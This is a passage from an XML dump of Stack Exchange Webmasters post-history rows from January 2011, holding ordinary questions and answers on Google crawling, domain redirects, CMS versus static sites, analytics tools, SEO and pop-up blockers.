After completing steps 3 and 4 for every page of my Amazon books, go to [books.google.com][3] and click My Library;&#xD;&#xA; 6. Your books will have filtered into one of several lists, depending on the status of them in Amazon (wish list items show up under To Read, the others may be under Reading Now or Have Read.);&#xD;&#xA; 7. Click on each list, and under Options choose Export as XML.&#xD;&#xA;&#xD;&#xA;From there, I used an XSLt stylesheet and some PHP code to transform the XML into a SQL file, which I then imported into mySQL via phpMyAdmin.&#xD;&#xA;&#xD;&#xA;(It didn't really take as long as it sounds like it would once I figured out all the steps. But it isn't a one-step, click and you're done solution, and as I mentioned, it also is a one-time thing - if you want updates you need to redo all of the steps. I haven't found a way to filter out the books that I already exported from Amazon and only pull in new ones since there's no way to sort the list by date.)&#xD;&#xA;&#xD;&#xA;  [1]: https://chrome.google.com/extensions/detail/ancmofphhhhoafhaiaenodkljacpgbfc&#xD;&#xA;  [2]: https://kindle.amazon.com/&#xD;&#xA;  [3]: http://books.google.com" />
  <row Id="16855" PostHistoryTypeId="5" PostId="7852" RevisionGUID="dbddd006-092e-4d56-bb80-3b73741882e5" CreationDate="2011-01-18T18:16:30.763" UserId="1253" Comment="Removed solicitation" Text="Its very easy if you want to upload all the artciles in your wordpress integrated website . it can be done in just 10 mints but .... as you told you have good visitors in that blog also you must go for Paid accounts of wordpress they also can provide the redirecting facility and then you will get all the traffic to your new domain&#xD;&#xA;" />
  <row Id="16856" PostHistoryTypeId="17" PostId="7902" RevisionGUID="372ad2d8-cd9e-409a-a409-3f5396b5650d" CreationDate="2011-01-18T18:31:37.163" UserId="-1" Comment="from http://stackoverflow.com/questions/4727640/google-bots-crawling-my-site/4727661#4727661" Text="" />
  <row Id="16857" PostHistoryTypeId="2" PostId="7902" RevisionGUID="ba7deec2-2283-4717-b0bc-58b803d953cd" CreationDate="2011-01-18T18:30:50.727" UserDisplayName="Mark Byers" Text="It's a good thing because it means Google is indexing your site so that it can show up in search results." />
  <row Id="16858" PostHistoryTypeId="2" PostId="7901" RevisionGUID="a5819213-b3e5-4dee-8bed-f035fccf7e5b" CreationDate="2011-01-18T18:28:29.503" UserDisplayName="Ron Nesler" Text="I am an ignorant, rank amateur seeking advice. Google Bots crawl my site all day every day. Is this a good thing? Or a bad thing? " />
  <row Id="16859" PostHistoryTypeId="1" PostId="7901" RevisionGUID="a5819213-b3e5-4dee-8bed-f035fccf7e5b" CreationDate="2011-01-18T18:28:29.503" UserDisplayName="Ron Nesler" Text="Google Bots crawling my site" />
  <row Id="16860" PostHistoryTypeId="3" PostId="7901" RevisionGUID="a5819213-b3e5-4dee-8bed-f035fccf7e5b" CreationDate="2011-01-18T18:28:29.503" UserDisplayName="Ron Nesler" Text="&lt;google&gt;&lt;robots&gt;" />
  <row Id="16861" PostHistoryTypeId="17" PostId="7901" RevisionGUID="d27f455d-e7ff-4487-bf81-b658cbf60d99" CreationDate="2011-01-18T18:31:37.163" UserId="-1" Comment="from http://stackoverflow.com/questions/4727640/google-bots-crawling-my-site" Text="" />
  <row Id="16863" PostHistoryTypeId="2" PostId="7904" RevisionGUID="de484bda-e4a5-43dd-9854-91deb8696755" CreationDate="2011-01-18T18:47:38.353" UserId="4703" Text="&gt; AFAIK, you cannot upgrade from 5 to 7&#xD;&#xA;&gt; in one step. You will have to upgrade&#xD;&#xA;&gt; to the latest version of D6 first and&#xD;&#xA;&gt; then upgrade to D7.&#xD;&#xA;&#xD;&#xA;The man who says &quot;It can't be done&quot; is often interrupted by the man who says, &quot;I JUST DID IT&quot; :) To wit: &#xD;&#xA;&#xD;&#xA;Nathan Haug: &lt;a href=&quot;http://quicksketch.org/node/5739&quot;&gt;&quot;Direct Drupal 5 to Drupal 7 Migration in 24hrs&quot;&lt;/a&gt;&#xD;&#xA;" />
  <row Id="16864" PostHistoryTypeId="2" PostId="7905" RevisionGUID="c2dad1ff-73cb-4e8b-bf6c-72b1c613dec3" CreationDate="2011-01-18T19:12:10.393" UserId="1089" Text="If I've been selling the product, I always drop the people who produce the product a courtesy email asking permission, no one has ever said no and many have volunteered high quality images of their own to help us out. " />
  <row Id="16865" PostHistoryTypeId="2" PostId="7906" RevisionGUID="cd06d99c-dfd7-44af-bd89-531438081d28" CreationDate="2011-01-18T19:21:29.417" UserId="1953" Text="Google crawling your site is the first step to being indexed. But, crawling in itself is more of an indicator of what is going on rather then good or bad. IE if Google is crawling your site real hard every day but none of your pages show in Google search it's probably a bad sign and you need to figure out why they are not including your site even though they know about it. On the other hand if your site is new and large and they are crawling a lot of deep pages on your site it's probably a good sign that Google likes what you have to offer and wants it in their index ASAP. Looking at your logs to see crawl patterns will also help you find issues with your site structure in terms of crawling and indexing. So I'd say rather then good or bad think of it as an opportunity." />
  <row Id="16866" PostHistoryTypeId="2" PostId="7907" RevisionGUID="023f90cd-d715-4059-85ec-27c703a3d775" CreationDate="2011-01-18T19:21:33.743" UserId="1253" Text="It's a good thing. This means that Google will find your new content faster which means it can be included in their index sooner. It's got to be in the index to be found in searches. &#xD;&#xA;&#xD;&#xA;Keep in mind that this doesn't mean your pages will rank well. It doesn't even necessarily mean your pages will be indexed. But under normal circumstances being visited regularly by Googlebot means your content is being found and indexed relatively quickly. And that's a good thing." />
  <row Id="16867" PostHistoryTypeId="25" PostId="7901" RevisionGUID="84c24a3f-b207-4f05-9832-ac73adfb204c" CreationDate="2011-01-18T19:55:39.683" Comment="http://twitter.com/#!/StackWebmasters/status/27454089293991938" />
  <row Id="16868" PostHistoryTypeId="25" PostId="7898" RevisionGUID="59e3b53a-af11-4f64-ac79-5dc05ad15d10" CreationDate="2011-01-18T22:55:40.027" Comment="http://twitter.com/#!/StackWebmasters/status/27499388356001792" />
  <row Id="16869" PostHistoryTypeId="2" PostId="7908" RevisionGUID="5cb87f58-8069-4999-9767-b26bdaa919e0" CreationDate="2011-01-18T23:25:24.947" UserId="4424" Text="Does anybody have experience working with ProjectPier? If so what did you think about it?" />
  <row Id="16870" PostHistoryTypeId="1" PostId="7908" RevisionGUID="5cb87f58-8069-4999-9767-b26bdaa919e0" CreationDate="2011-01-18T23:25:24.947" UserId="4424" Text="Need some subjective opinions on ProjectPier, an open source PHP framework for project management " />
  <row Id="16871" PostHistoryTypeId="3" PostId="7908" RevisionGUID="5cb87f58-8069-4999-9767-b26bdaa919e0" CreationDate="2011-01-18T23:25:24.947" UserId="4424" Text="&lt;open-source&gt;" />
  <row Id="16872" PostHistoryTypeId="10" PostId="7908" RevisionGUID="689bba4c-1dd2-4a04-95bd-a4cfab9bdfa9" CreationDate="2011-01-19T00:16:36.857" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16873" PostHistoryTypeId="25" PostId="7908" RevisionGUID="18dd8c04-3471-4f8c-9037-20c5e06781b1" CreationDate="2011-01-19T01:55:40.727" Comment="http://twitter.com/#!/StackWebmasters/status/27544690484056064" />
  <row Id="16874" PostHistoryTypeId="2" PostId="7909" RevisionGUID="2cde0561-62d0-4df2-a96c-e73d555e6f14" CreationDate="2011-01-19T02:24:55.730" UserId="576" Text="Not all URL shortener services are reliable. Check [this comparison of popular URL shortener services][1] for their pros &amp; cons.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvark.blogspot.com/2011/01/comparison-of-url-shortener-services.html" />
  <row Id="16875" PostHistoryTypeId="2" PostId="7910" RevisionGUID="75c747e2-d500-4897-b6c6-2bef345fbdb8" CreationDate="2011-01-19T02:43:57.920" UserId="576" Text="[FatSecret][1] provides food &amp; nutrition info of popular products from restaurants &amp; food chains &amp; they also have an [API][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fatsecret.com/calories-nutrition/mcdonalds&#xD;&#xA;  [2]: http://platform.fatsecret.com/api/" />
  <row Id="16877" PostHistoryTypeId="25" PostId="7891" RevisionGUID="76b002c5-7bd7-454b-954f-2fe891031bdd" CreationDate="2011-01-19T04:55:40.993" Comment="http://twitter.com/#!/StackWebmasters/status/27589990229741568" />
  <row Id="16880" PostHistoryTypeId="2" PostId="7912" RevisionGUID="a02ee1bb-8380-413e-9cb8-886b4af1005a" CreationDate="2011-01-19T06:48:47.230" UserId="4714" Text="I have a DomainName.com and want to redirect it to Google Apps, sites.google.com or iGoogle via the cname.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Jean" />
  <row Id="16881" PostHistoryTypeId="1" PostId="7912" RevisionGUID="a02ee1bb-8380-413e-9cb8-886b4af1005a" CreationDate="2011-01-19T06:48:47.230" UserId="4714" Text="Redirect DomainName.com to sites.google.com" />
  <row Id="16882" PostHistoryTypeId="3" PostId="7912" RevisionGUID="a02ee1bb-8380-413e-9cb8-886b4af1005a" CreationDate="2011-01-19T06:48:47.230" UserId="4714" Text="&lt;web-hosting&gt;&lt;google-webmaster-tools&gt;&lt;google-apps&gt;" />
  <row Id="16883" PostHistoryTypeId="25" PostId="7912" RevisionGUID="f3fae9ee-ef58-4a55-a8ba-652c7445eb2f" CreationDate="2011-01-19T07:55:40.667" Comment="http://twitter.com/#!/StackWebmasters/status/27635287165243392" />
  <row Id="16884" PostHistoryTypeId="2" PostId="7913" RevisionGUID="6d5b74ba-4286-4575-9014-32ae9ac42c21" CreationDate="2011-01-19T08:00:38.790" UserId="3707" Text="    you can add details to your question to make it more clear but anywho&#xD;&#xA;&#xD;&#xA;there are many ways you could redirect a domain name to another domain name.&#xD;&#xA;&#xD;&#xA;one ways is in your domain manager dashboard. if you have godaddy just log in there and click on set up dns.&#xD;&#xA;&#xD;&#xA;other way is Via [htaccess][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webconfs.com/how-to-redirect-a-webpage.php&#xD;&#xA;&#xD;&#xA;there are more other ways..&#xD;&#xA;but you shoud clarify your question a bit more." />
  <row Id="16888" PostHistoryTypeId="2" PostId="7915" RevisionGUID="cf556483-876c-41fa-92fe-63eac16eddc0" CreationDate="2011-01-19T09:08:47.307" UserId="4715" Text="Try following the instructions on this link:&#xD;&#xA;[http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=47283][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=47283" />
  <row Id="16894" PostHistoryTypeId="2" PostId="7917" RevisionGUID="3f9a5dd7-d09c-46c8-b5b0-08aacb1c60f3" CreationDate="2011-01-19T10:46:51.803" UserDisplayName="user4716" Text="I am relatively new to html and css programming, but in the future Im Hoping to create websites for clients. The question I have is, how does the customer who i suspect has no knowledge of html or css edit there own website once I have created it for them? Will they have to rely on me to constantly update there website for them? or is there a programme which the html and css code can be entered into which makes future editing possible without having to manually alter the code?&#xD;&#xA;Many thanks in advance.&#xD;&#xA;&#xD;&#xA;Ryan" />
  <row Id="16895" PostHistoryTypeId="1" PostId="7917" RevisionGUID="3f9a5dd7-d09c-46c8-b5b0-08aacb1c60f3" CreationDate="2011-01-19T10:46:51.803" UserDisplayName="user4716" Text="Am i missing something?" />
  <row Id="16896" PostHistoryTypeId="3" PostId="7917" RevisionGUID="3f9a5dd7-d09c-46c8-b5b0-08aacb1c60f3" CreationDate="2011-01-19T10:46:51.803" UserDisplayName="user4716" Text="&lt;html&gt;" />
  <row Id="16899" PostHistoryTypeId="2" PostId="7918" RevisionGUID="1921a34d-85d7-4bb9-b632-1e8fb3977092" CreationDate="2011-01-19T11:00:53.390" UserId="4588" Text="You should use a CMS (Content Management System) such as Joomla or Wordpress. After you have set up the CMS, the user can easily add content to the web page by his own." />
  <row Id="16907" PostHistoryTypeId="6" PostId="7781" RevisionGUID="e00e4d0b-4b3f-4d90-979b-65ee7db30d8e" CreationDate="2011-01-19T11:47:21.790" UserId="4643" Comment="edited tags" Text="&lt;advertising&gt;&lt;ecommerce&gt;&lt;payments&gt;&lt;spam&gt;&lt;captcha&gt;" />
  <row Id="16908" PostHistoryTypeId="2" PostId="7922" RevisionGUID="238abf91-ab71-42c0-82f9-4fc7f466e182" CreationDate="2011-01-19T11:51:22.850" UserId="1757" Text="Like Jannis said, you need to use a CMS, which will solve this problem.&#xD;&#xA;&#xD;&#xA;But to give you more background info, here's a breakdown of the main areas of web development:&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Static vs. Dynamic Sites&lt;/h2&gt;&#xD;&#xA;&lt;h3&gt;Static Sites&lt;/h3&gt;&#xD;&#xA;A static website is what you described in your question initially&amp;mdash;where every page is hard-coded HTML and written by the designer. These sites were quite common in the 90s, and web developers/webmasters were hired to both write and maintain them. Back then, just having some rudimentary HTML knowledge qualified you to be a web developer, and most websites were coded this way as simply a collection of simple static webpages.&#xD;&#xA;&#xD;&#xA;During this time, WYSIWYG (What You See Is What You Get) editors also came around. This allowed people who didn't know HTML to create webpages. Some editors like Dreamweaver also provided ways for web designers to specify an area of the page as editable, and clients could use their own copy of Dreamweaver to update the content on their site.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Dynamic Sites&lt;/h3&gt;&#xD;&#xA;However, even fairly early on there were dynamic websites. These sites were more like applications, and their pages were dynamically generated when they were requested by a visitor. This meant that webpages could respond to the interaction of users, and content could also be personalized for each user. A search results page or a user dashboard are examples of dynamic webpages.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Server-side vs. Client-side Programming&lt;/h2&gt;&#xD;&#xA;&lt;h3&gt;Client-side Code&lt;/h3&gt;&#xD;&#xA;Client-side code is code that is received by the web browser and processed on the user's computer. This includes the HTML and CSS to render the page, as well as the JavaScript that is used to implement certain UI behaviors. All of this relates to the &lt;strong&gt;front-end&lt;/strong&gt; of the website.&#xD;&#xA;&#xD;&#xA;On a static site, there is only client-side code, and the content is embedded in the HTML of each page. The pages can only be changed by manually changing the HTML.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Server-side Code&lt;/h3&gt;&#xD;&#xA;Server-side programming is what makes dynamic webpages possible. This was first commonly implemented via [CGI][1] with server-side languages like Perl or C. But today other server-side languages like PHP, Ruby, ASP.NET, JSP, Python, etc. are also available.&#xD;&#xA;&#xD;&#xA;Server-side languages allow you to write web applications instead of just web sites. The most common type of web application is a Content Management System that allows users to update their website without knowing HTML or editing files directly. This is the preferred way to manage a website today.&#xD;&#xA;&#xD;&#xA;Dynamic websites require both server-side programming as well as client-side programming. Additionally, unlike static sites the data/content is usually separated from the HTML files and stored in a database, such as MySQL, PostgreSQL, SQL Server, etc. This has many advantages, including the ability to search, organize/index, and manipulate/edit the data more easily. This is usually done through a database language called [SQL][2].&#xD;&#xA;&#xD;&#xA;The HTML is usually stored as templates, reducing the amount of duplicate code/data, and making it easier to change the design of a website by making changes in a single place rather than in hundreds of different individual webpages.&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;&#xD;&#xA;Today, most sites, even personal blogs and websites of small mom &amp; pop stores are dynamic sites with a CMS. This not only gives the user more control over their site instead of being reliant on a web developer, but it also makes it easier to maintain the site from a technical standpoint. The way static sites are created makes it very difficult and inefficient to maintain sites with more than a dozen pages. It also makes it more costly to make changes to the site's overall design.&#xD;&#xA;&#xD;&#xA;So if you're a freelance web developer, you need to know a server-side language. Otherwise, you'll have to focus on front-end development and work for a web studio or partner up with a back-end developer. A freelance web developer who supplies static sites to their clients just won't cut it these days. It's unprofessional and actually hurts the client in the long run&amp;mdash;especially as there are so many free and open source CMSes out there that most high school students could install and get up and running in just a few minutes.&#xD;&#xA;&#xD;&#xA;If you're a web designer, then you could just install an open source CMS like Wordpress, Drupal, etc. for your client and design a custom template for them. That is probably the best deal for most business clients.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Common_Gateway_Interface&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SQL" />
  <row Id="16909" PostHistoryTypeId="2" PostId="7923" RevisionGUID="54633dde-514d-4518-8aff-9dea82c05abf" CreationDate="2011-01-19T11:58:37.737" UserId="4718" Text="I'm thinking of trying out Chartbeat. I want to keep the Analytics code in there. Is there a noticable impact on performance for the visitor if both are used?" />
  <row Id="16910" PostHistoryTypeId="1" PostId="7923" RevisionGUID="54633dde-514d-4518-8aff-9dea82c05abf" CreationDate="2011-01-19T11:58:37.737" UserId="4718" Text="Using both Google Analytics and Chartbeart" />
  <row Id="16911" PostHistoryTypeId="3" PostId="7923" RevisionGUID="54633dde-514d-4518-8aff-9dea82c05abf" CreationDate="2011-01-19T11:58:37.737" UserId="4718" Text="&lt;google-analytics&gt;" />
  <row Id="16912" PostHistoryTypeId="5" PostId="7922" RevisionGUID="8d2069c0-654b-4b91-aa46-4a94eda6eb68" CreationDate="2011-01-19T11:58:43.543" UserId="1757" Comment="added 197 characters in body" Text="Like Jannis said, you need to use a CMS, which will solve this problem.&#xD;&#xA;&#xD;&#xA;But to give you more background info, here's a breakdown of the main areas of web development:&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Static vs. Dynamic Sites&lt;/h2&gt;&#xD;&#xA;&lt;h3&gt;Static Sites&lt;/h3&gt;&#xD;&#xA;A static website is what you described in your question initially&amp;mdash;where every page is hard-coded HTML and written by the designer. These sites were quite common in the 90s, and web developers/webmasters were hired to both write and maintain them. Back then, just having some rudimentary HTML knowledge qualified you to be a web developer, and most websites were coded this way as simply a collection of simple static webpages.&#xD;&#xA;&#xD;&#xA;During this time, WYSIWYG (What You See Is What You Get) editors also came around. This allowed people who didn't know HTML to create webpages. Some editors like Dreamweaver also provided ways for web designers to specify an area of the page as editable, and clients could use their own copy of Dreamweaver to update the content on their site.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Dynamic Sites&lt;/h3&gt;&#xD;&#xA;However, even fairly early on there were dynamic websites. These sites were more like applications, and their pages were dynamically generated when they were requested by a visitor. This meant that webpages could respond to the interaction of users, and content could also be personalized for each user. A search results page or a user dashboard are examples of dynamic webpages.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Server-side vs. Client-side Programming&lt;/h2&gt;&#xD;&#xA;&lt;h3&gt;Client-side Code&lt;/h3&gt;&#xD;&#xA;Client-side code is code that is received by the web browser and processed on the user's computer. This includes the HTML and CSS to render the page, as well as the JavaScript that is used to implement certain UI behaviors. All of this relates to the &lt;strong&gt;front-end&lt;/strong&gt; of the website.&#xD;&#xA;&#xD;&#xA;On a static site, there is only client-side code, and the content is embedded in the HTML of each page. The pages can only be changed by manually changing the HTML.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Server-side Code&lt;/h3&gt;&#xD;&#xA;Server-side programming is what makes dynamic webpages possible. This is code that is processed by the webserver instead of being sent to the browser. The server-side script run by the webserver would generate dynamic webpages that are then sent to the browser. This was first commonly implemented via [CGI][1] with server-side languages like Perl or C. But today other server-side languages like PHP, Ruby, ASP.NET, JSP, Python, etc. are also available.&#xD;&#xA;&#xD;&#xA;Server-side languages allow you to write web applications instead of just web sites. The most common type of web application is a Content Management System that allows users to update their website without knowing HTML or editing files directly. This is the preferred way to manage a website today.&#xD;&#xA;&#xD;&#xA;Dynamic websites require both server-side programming as well as client-side programming. Additionally, unlike static sites the data/content is usually separated from the HTML files and stored in a database, such as MySQL, PostgreSQL, SQL Server, etc. This has many advantages, including the ability to search, organize/index, and manipulate/edit the data more easily. This is usually done through a database language called [SQL][2].&#xD;&#xA;&#xD;&#xA;The HTML is usually stored as templates, reducing the amount of duplicate code/data, and making it easier to change the design of a website by making changes in a single place rather than in hundreds of different individual webpages.&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;&#xD;&#xA;Today, most sites, even personal blogs and websites of small mom &amp; pop stores are dynamic sites with a CMS. This not only gives the user more control over their site instead of being reliant on a web developer, but it also makes it easier to maintain the site from a technical standpoint. The way static sites are created makes it very difficult and inefficient to maintain sites with more than a dozen pages. It also makes it more costly to make changes to the site's overall design.&#xD;&#xA;&#xD;&#xA;So if you're a freelance web developer, you need to know a server-side language. Otherwise, you'll have to focus on front-end development and work for a web studio or partner up with a back-end developer. A freelance web developer who supplies static sites to their clients just won't cut it these days. It's unprofessional and actually hurts the client in the long run&amp;mdash;especially as there are so many free and open source CMSes out there that most high school students could install and get up and running in just a few minutes.&#xD;&#xA;&#xD;&#xA;If you're a web designer, then you could just install an open source CMS like Wordpress, Drupal, etc. for your client and design a custom template for them. That is probably the best deal for most business clients.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Common_Gateway_Interface&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SQL" />
  <row Id="16913" PostHistoryTypeId="5" PostId="7922" RevisionGUID="2b3a9e7c-7592-4de5-8ecc-b5adf49c6a9d" CreationDate="2011-01-19T12:11:11.290" UserId="1757" Comment="added 3 characters in body" Text="Like Jannis said, you need to use a CMS, which will solve this problem.&#xD;&#xA;&#xD;&#xA;But to give you more background info, here's a breakdown of the main areas of web development:&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Static vs. Dynamic Sites&lt;/h2&gt;&#xD;&#xA;&lt;h3&gt;Static Sites&lt;/h3&gt;&#xD;&#xA;A static website is what you described in your question initially&amp;mdash;where every page is hard-coded HTML and written by the designer. These sites were quite common in the 90s, and web developers/webmasters were hired to both write and maintain them. Back then, just having some rudimentary HTML knowledge qualified you to be a web developer, and most websites were coded this way as simply a collection of simple static webpages.&#xD;&#xA;&#xD;&#xA;During this time, WYSIWYG (What You See Is What You Get) editors also came around. This allowed people who didn't know HTML to create webpages. Some editors like Dreamweaver also provided ways for web designers to specify an area of the page as editable, and clients could use their own copy of Dreamweaver to update the content on their site.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Dynamic Sites&lt;/h3&gt;&#xD;&#xA;However, even fairly early on there were dynamic websites. These sites were more like applications, and their pages were dynamically generated when they were requested by a visitor. This meant that webpages could respond to the interaction of users, and content could also be personalized for each user. A search results page or a user dashboard are examples of dynamic webpages.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Server-side vs. Client-side Programming&lt;/h2&gt;&#xD;&#xA;&lt;h3&gt;Client-side Code&lt;/h3&gt;&#xD;&#xA;Client-side code is code that is received by the web browser and processed on the user's computer. This includes the HTML and CSS to render the page, as well as the JavaScript that is used to implement certain UI behaviors. All of this relates to the &lt;strong&gt;front-end&lt;/strong&gt; of the website.&#xD;&#xA;&#xD;&#xA;On a static site, there is only client-side code, and the content is embedded in the HTML of each page. The pages can only be changed by manually changing the HTML.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Server-side Code&lt;/h3&gt;&#xD;&#xA;Server-side programming is what makes dynamic webpages possible. This is code that is processed by the webserver instead of being sent to the browser. The server-side script run by the webserver would generate dynamic webpages that are then sent to the browser. This was first commonly implemented via [CGI][1] with server-side languages like Perl or C. But today other server-side languages like PHP, Ruby, ASP.NET, JSP, Python, etc. are also available.&#xD;&#xA;&#xD;&#xA;Server-side languages allow you to write web applications instead of just static pages. The most common type of web application is a Content Management System that allows users to update their website without knowing HTML or editing files directly. This is the preferred way to manage a website today.&#xD;&#xA;&#xD;&#xA;Dynamic websites require both server-side programming as well as client-side programming. Additionally, unlike static sites the data/content is usually separated from the HTML files and stored in a database, such as MySQL, PostgreSQL, SQL Server, etc. This has many advantages, including the ability to search, organize/index, and manipulate/edit the data more easily. This is usually done through a database language called [SQL][2].&#xD;&#xA;&#xD;&#xA;The HTML is usually stored as templates, reducing the amount of duplicate code/data, and making it easier to change the design of a website by making changes in a single place rather than in hundreds of different individual webpages.&#xD;&#xA;&lt;hr/&gt;&#xD;&#xA;&#xD;&#xA;Today, most sites, even personal blogs and websites of small mom &amp; pop stores are dynamic sites with a CMS. This not only gives the user more control over their site instead of being reliant on a web developer, but it also makes it easier to maintain the site from a technical standpoint. The way static sites are created makes it very difficult and inefficient to maintain sites with more than a dozen pages. It also makes it more costly to make changes to the site's overall design.&#xD;&#xA;&#xD;&#xA;So if you're a freelance web developer, you need to know a server-side language. Otherwise, you'll have to focus on front-end development and work for a web studio or partner up with a back-end developer. A freelance web developer who supplies static sites to their clients just won't cut it these days. It's unprofessional and actually hurts the client in the long run&amp;mdash;especially as there are so many free and open source CMSes out there that most high school students could install and get up and running in just a few minutes.&#xD;&#xA;&#xD;&#xA;If you're a web designer, then you could just install an open source CMS like Wordpress, Drupal, etc. for your client and design a custom template for them. That is probably the best deal for most business clients.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Common_Gateway_Interface&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SQL" />
  <row Id="16914" PostHistoryTypeId="2" PostId="7924" RevisionGUID="5f680666-4905-4a8e-b403-0a753249910b" CreationDate="2011-01-19T12:17:01.817" UserId="3282" Text="If you put the code at the bottom of your page, just before the `&lt;/body&gt;` tag, I don't think you will notice much if any performance impact." />
  <row Id="16928" PostHistoryTypeId="25" PostId="7917" RevisionGUID="fad60320-ad9d-462a-98a7-7ae102bd8400" CreationDate="2011-01-19T13:55:43.187" Comment="http://twitter.com/#!/StackWebmasters/status/27725894491574272" />
  <row Id="16930" PostHistoryTypeId="2" PostId="7926" RevisionGUID="7a51fe2b-0874-4a8d-8db6-b47d133b22c5" CreationDate="2011-01-19T05:10:27.373" UserDisplayName="louism" Text="i had a question i need help with&#xD;&#xA;&#xD;&#xA;i have a client who's been told that breaking up his content onto multiple websites will give him a seo boost. im wondering if this is true&#xD;&#xA;&#xD;&#xA;let me break it down thus...&#xD;&#xA;&#xD;&#xA;* the client has bought multiple domain names&#xD;&#xA;* he does training in vmware, ITIL, novel, citrix, etc&#xD;&#xA;* he wants to make ***1*** website which just talks about vmware traiining, ***1*** website which talks about novel training, ***1*** website on citrix, etc&#xD;&#xA;* each website would use a related domain name (e.g. the vmware specific website would use www.vmwaretrainingmelbourne.com.au)&#xD;&#xA;* all the websites use the same design/layout (you can tell its the same company)&#xD;&#xA;&#xD;&#xA;will breaking up the site in this away really provide better google page ranking?&#xD;&#xA;&#xD;&#xA;thanks for you help guys&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-- LM" />
  <row Id="16931" PostHistoryTypeId="1" PostId="7926" RevisionGUID="7a51fe2b-0874-4a8d-8db6-b47d133b22c5" CreationDate="2011-01-19T05:10:27.373" UserDisplayName="louism" Text="The SEO Benefit of Breaking Up Content Onto Different Websites" />
  <row Id="16932" PostHistoryTypeId="3" PostId="7926" RevisionGUID="7a51fe2b-0874-4a8d-8db6-b47d133b22c5" CreationDate="2011-01-19T05:10:27.373" UserDisplayName="louism" Text="&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="16933" PostHistoryTypeId="17" PostId="7926" RevisionGUID="6c4b5d87-429c-4d02-9593-dfb69cb951cd" CreationDate="2011-01-19T14:35:36.533" UserId="-1" Comment="from http://stackoverflow.com/questions/4731951/the-seo-benefit-of-breaking-up-content-onto-different-websites" Text="" />
  <row Id="16934" PostHistoryTypeId="2" PostId="7927" RevisionGUID="18a3d713-9db8-4385-8d70-e9d5e0ee4d7b" CreationDate="2011-01-19T14:46:28.087" UserId="4719" Text="I'm using both Google Analytics and [Yottaa][1] for my website. Yottaa bots send quite a lot a traffic (relatively to the normal traffic of my website), and thus my Google Analytics is kind of flooded by that.&#xD;&#xA;&#xD;&#xA;I don't know how to tell Yottaa bots traffic and normal human traffic apart on Google Analytics. How to do that?&#xD;&#xA;&#xD;&#xA;(I asked the Yottaa support : no responses yet.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://yottaa.com" />
  <row Id="16935" PostHistoryTypeId="1" PostId="7927" RevisionGUID="18a3d713-9db8-4385-8d70-e9d5e0ee4d7b" CreationDate="2011-01-19T14:46:28.087" UserId="4719" Text="How to filter out Yottaa bots traffic in Google Analytics?" />
  <row Id="16936" PostHistoryTypeId="3" PostId="7927" RevisionGUID="18a3d713-9db8-4385-8d70-e9d5e0ee4d7b" CreationDate="2011-01-19T14:46:28.087" UserId="4719" Text="&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="16937" PostHistoryTypeId="2" PostId="7928" RevisionGUID="9cd0ff3f-3794-4d9a-9115-a2f42aa33b44" CreationDate="2011-01-19T14:47:17.917" UserId="536" Text="I'm trying to convince a client that adding pop-up or pop-unders isn't worthwhile. The argument &quot;pop-ups are annoying and your users won't return&quot; doesn't work because it's not the kind of site that people will visit regularly -- just buy and leave.&#xD;&#xA;&#xD;&#xA;I'd like to be able to look at the site's traffic data and point to the very high percentage of users who are using browsers which not only have pop-up blockers but have them turned on by default.&#xD;&#xA;&#xD;&#xA;Can anybody provide a list of browser versions which have the pop-up blocker enabled in the standard installation?&#xD;&#xA;&#xD;&#xA;Alternately, are there other good data points which demonstrate the ineffectiveness of pop-ups?" />
  <row Id="16938" PostHistoryTypeId="1" PostId="7928" RevisionGUID="9cd0ff3f-3794-4d9a-9115-a2f42aa33b44" CreationDate="2011-01-19T14:47:17.917" UserId="536" Text="Browsers with pop-up blocker enabled by default" />
  <row Id="16939" PostHistoryTypeId="3" PostId="7928" RevisionGUID="9cd0ff3f-3794-4d9a-9115-a2f42aa33b44" CreationDate="2011-01-19T14:47:17.917" UserId="536" Text="&lt;marketing&gt;&lt;browsers&gt;" />
  <row Id="16940" PostHistoryTypeId="2" PostId="7929" RevisionGUID="389bbf31-38cf-46ee-a0f2-6017df06fc3b" CreationDate="2010-12-24T23:05:07.420" UserDisplayName="WilliamLou" Text="Is there any open source project that can be used to build a on-line ticket sales system, like: ticketmaster or eventbrite etc..? Thanks!&#xD;&#xA;&#xD;&#xA; " />
  <row Id="16941" PostHistoryTypeId="1" PostId="7929" RevisionGUID="389bbf31-38cf-46ee-a0f2-6017df06fc3b" CreationDate="2010-12-24T23:05:07.420" UserDisplayName="WilliamLou" Text="any open-souce system for online ticket sale?" />
